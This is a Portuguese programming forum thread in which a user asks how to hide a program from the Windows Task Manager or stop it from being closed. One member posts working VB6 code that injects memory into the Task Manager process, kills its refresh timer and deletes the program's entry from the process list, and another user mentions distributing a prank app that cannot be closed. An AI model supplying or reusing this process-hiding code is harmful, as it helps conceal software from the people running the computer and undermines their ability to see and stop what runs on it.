• Revista PROGRAMAR: Já está disponível a edição #53 da revista programar. Faz já o download aqui!

bigboy123

Esconder Programa do Gestor de Tarefas

22 mensagens neste tópico

Boas pessoal,

Gostaria de saber se é possível fazer com que o programa fosse escondido do Gestor de Tarefas para que não seja permitido terminar o processo...

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Esconder não (que eu saiba), não ser permitido terminar sim, como não sei.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Esconder não (que eu saiba), não ser permitido terminar sim, como não sei.

Se der para não permitir também serve  :biggrin:

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Pois mas não sei como fazer isso, tens de fazer com que o teu utilizador (mesmo que em admin) não tenha privilégios para o encerrar.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Repara, isso é impossivel (Esconder) porque se fosse possivel, então os virús entravam por aí a dentro e tu nada podias fazer :)

Se ainda fosse a Taskbar..até te conseguia arranjar o código, mas o Gestor de tarefas, é impossivel.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Repara, isso é impossivel (Esconder) porque se fosse possivel, então os virús entravam por aí a dentro e tu nada podias fazer :)

Se ainda fosse a Taskbar..até te conseguia arranjar o código, mas o Gestor de tarefas, é impossivel.

LOL !!! O gestor de tarefas é apenas um programa do S.O que detecta aplicações em execução, não tem nada haver com que o vírus entre ou não no PC sem aparecer no gestor de tarefas.

Até porque muitos não são visíveis no gestor de tarefas e só são apanhados com um anti-vírus  :thumbsup:

Taskbar também eu sei fazer. Quero é algo que faça com que no gestor de tarefas ou não apareça ou não deixe que seja terminado o processo como 1 programa que já tive e que pelo gestor de tarefas não dava para terminar  :)

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Até porque muitos não são visíveis no gestor de tarefas e só são apanhados com um anti-vírus  ;)

Isso é porque infectam outros processos que estão em execução, que eu saiba não

ao dá para esconder processos...

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Isso é porque infectam outros processos que estão em execução,

Na minha opinião estás errado, só podem infectar depois de estarem no sistema, antes de infentarem alguma coisa garanto-te que muitos não aparecem no Gestor de Tarefas  ;)

Mas obrigado pela tentativa de ajuda  :P

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Basta uma rápida pesquisa no Google.

There is no supported way to accomplish this. The process list can be read at any privilege level. If you were hoping to hide a process from even Administrators, then this is doubly unsupported.

To get this to work, you would need to write a kernel mode rootkit to intercept calls to NtQuerySystemInformation so that the SystemProcessInformation info class fails to list your hidden process.

in stackoverflow.com

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Isso é porque infectam outros processos que estão em execução, que eu saiba não

ao dá para esconder processos...

Disseste tudo.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Está porreiro, o Seven não disse nada :o

c:\>tasklist
(...)
c:\>taskkill "Dor de Cabeça.exe"

;)

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Está porreiro, o Seven não disse nada :o

c:\>tasklist
(...)
c:\>taskkill "Dor de Cabeça.exe"

:P

Experimentei fazer isso mas não dá para fechar na mesma  ;)

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Já agora acho que é de bom tom meter aqui o código que fez com que o Gestor de Tarefas não aparecesse sem desactiválo

Aqui vai :

        Dim k As Long
        k = Shell("c:\windows\system32\taskmgr.exe", vbHide)

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Com o processExplorer matei a tua aplicação em dois tempos...

Convém avisar o pessoal do que faz a aplicação...não é deixar aí o link para download e já está.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Tenho código para isso.. mas está codificado para VB6..

Caso queiras fazer o upgrad.. ou usar este codigo.. aqui fica..

Entendendo: basicamente o código API utilizado, fará as seguintes etapas:

1: localiza o Handle do respectivo processo do taskmanager

2: Faz um kill ao timer usado para fazer o refresh do taskmanager

3: Remove o Item do listview.. referente ao processo

Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function VirtualAllocEx Lib "kernel32.dll" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Public Declare Function CreateRemoteThread Lib "kernel32" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, ByVal lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long
Public Declare Function WaitForSingleObject Lib "kernel32.dll" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Public Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessID As Long) As Long
Public Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As Long, ByRef lpdwProcessId As Long) As Long
Public Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Public Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Public Declare Function VirtualFreeEx Lib "kernel32.dll" (ByVal hProcess As Long, ByRef lpAddress As Any, ByRef dwSize As Long, ByVal dwFreeType As Long) As Long
Public Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long
Public Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function RegisterServiceProcess Lib "kernel32.dll" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Public Declare Function GetCurrentProcessId Lib "kernel32.dll" () As Long
Public Declare Function KillTimer Lib "user32.dll" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long

Public Type bkh
    flag As Long
    psz As Long
    lParam As Long
    pt As Long
    vkDirection As Long
End Type

Public Sub Hide_Process(Name As String)
On Error Resume Next
Dim pName As Long
Dim pType As Long
Dim l As Long
Dim Tid As Long
Dim hTid As Long
Dim Pid As Long
Dim h As Long
Dim i As Long
Dim hProcess As Long
Dim f As bkh
Dim s As String
Dim bkh() As Byte

h = FindWindow(vbNullString, "Windows Task Manager")
KillTimer h, 0

h = FindWindowEx(h, 0, "#32770", vbNullString)
h = FindWindowEx(h, 0, "SysListView32", vbNullString)

If h = 0 Then Exit Sub

f.flag = 8 Or &H20

Call GetWindowThreadProcessId(h, Pid)
hProcess = OpenProcess(1082, 0, Pid)

bkh = StrConv(Name, vbFromUnicode)
pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4)
WriteProcessMemory hProcess, pName, VarPtr(bkh(0)), Len(Name), l

f.psz = pName

pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4)
WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l

i = SendMessage(h, &H1000 + 13, 0, pType)
If i <> -1 Then SendMessage h, &H1000 + 8, i, 0

VirtualFreeEx hProcess, pType, Len(f), &H8000
VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000
CloseHandle hTid

End Sub

PS: tem em conta:

h = FindWindow(vbNullString, "Windows Task Manager")

Pois está a utilizar a pesquisa por o nome da janela..

Em PT será 'Gestor de tarefas do Windows'

Para usares, crias um timer:

Private Sub tmrHiddenEXE_Timer()
On Error Resume Next
Hide_Process App.EXEName & ".exe"
DoEvents
End Sub

Talvez faça o upgrad para .NET :thumbsup:

Compr.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Com o processExplorer matei a tua aplicação em dois tempos...

Convém avisar o pessoal do que faz a aplicação...não é deixar aí o link para download e já está.

Uma brincadeira saudável... Se quizesse ser mauzinho formatava isso  :P

Talvez faça o upgrad para .NET :)

Compr.

Era nice se fizesses  :thumbsup:

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Bom dia pessoal,

Desculpem estar a recordar este tópico, mas dava-me jeito isto...:D

Talvez faça o upgrad para .NET 

E então fizes-te :) Se sim, gostava de saber como é... :)

Caso não, alguém tem a solução?

Mas já agora, este código:

 
Private Sub tmrHiddenEXE_Timer()
On Error Resume Next
Hide_Process App.EXEName & ".exe"
DoEvents
End Sub

Detecta se acontece um erro na aplicação, é?

Cumprimentos e obrigado a todos!

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Bem, pessoal...

Eu não me expliquei... :S (ainda era cedo :) )

É assim, o que eu queria era mesmo detectar se houve um erro na aplicação ou se é terminado com o gestor de tarefas...

Porquê?? porque eu estou a registar os login e logout de users, e caso fosse terminado pelo gestor de tarefas não seria registada a hora de saída... :D ou mesmo quando ocorre um erro... :/

Daí eu querer um código para por na aplicação que detecte se há erro (aqueles famosos erros que é necessário terminar a execução) ou então esse caso de ser fechado pelo gestor de tarefas...

Agradeço ajuda!

PS: moderadores, se acham que devo criar um novo tópico, eu crio... :) e desculpem

CUMPS

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

PS: moderadores, se acham que devo criar um novo tópico, eu crio... :) e desculpem

É melhor porque nem tem muito a ver com este tópico :D

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Crie uma conta ou ligue-se para comentar

Só membros podem comentar

Criar nova conta

Registe para ter uma conta na nossa comunidade. É fácil!


Registar nova conta

Entra

Já tem conta? Inicie sessão aqui.


Entrar Agora